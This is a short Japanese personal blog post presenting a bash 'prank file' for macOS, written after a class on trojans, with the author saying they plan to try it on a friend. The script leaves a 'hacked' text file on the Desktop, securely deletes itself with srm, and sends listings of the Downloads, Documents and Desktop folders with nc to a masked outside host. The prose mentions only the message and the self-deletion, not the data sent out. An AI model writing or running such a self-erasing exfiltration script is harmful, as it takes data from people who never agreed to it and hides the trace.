つけじょにーのすぱげていコード

主に、競技プログラミング、セキュリティのお勉強の際に書いたすぱげていコードを書き込みます

いたずらファイル

example.command

#!/bin/bash

cd Desktop; echo "hacked this computer!" | cat > hack.txt;
mydir=$(dirname $0); cd $mydir; srm -mz  example.command;
cd; ls Downloads Documents Desktop | nc xxx.xxx.xxx.xxx 8000;

MacOSX用なのですが、実行されると、デスクトップに"Hacked this computer"と記載されたテキストファイルが作成され、example.commandファイルは消滅するといういたずらファイルです(笑)
トロイの木馬について授業で習ったので復習がてら友達にいたずらしようかなと(笑)

ちなみに、2行目ですが、変数に入れる値をコマンドで加工する際、$()という表現を使います
dirnameというのは、コマンドのことで、日本語マニュアルを確認してみると以下の通りになっています。

名称
     basename, dirname - 指定したパスのファイル名部分やディレクトリ名部分を返す

書式
     basename string [suffix] basename [-a] [-s suffix] string [...] dirname string

解説
     basename ユーティリティは string から最後の `/' までを削除し、 suffix が指定された場合はこれも削除します。 (まず後続する複数の
     スラッシュを取り除いた) string に残された文字列と suffix がまったく同じ場合には、削除しません。そして、その結果得られるファイル
     名を標準出力に書き出します。存在しない suffix は無視します。 -a が指定された場合、各引数が単一の string として扱われ、あたかも
     basename が単一の引数で起動されたかのようになります。 -s が指定された場合、 suffix がその引数として扱われ、残りすべての引数が単
     一の string として扱われます。

     dirname ユーティリティは (まず後続する複数のスラッシュを取り除いた) string 中の最後の `/' から最後尾までをファイル名とみなして
     この部分を削除し、残りを標準出力に書き出します。

変数$0は、このバッチファイル自体のパスを返すので、/Users/・・・/example.commandを返すことになります。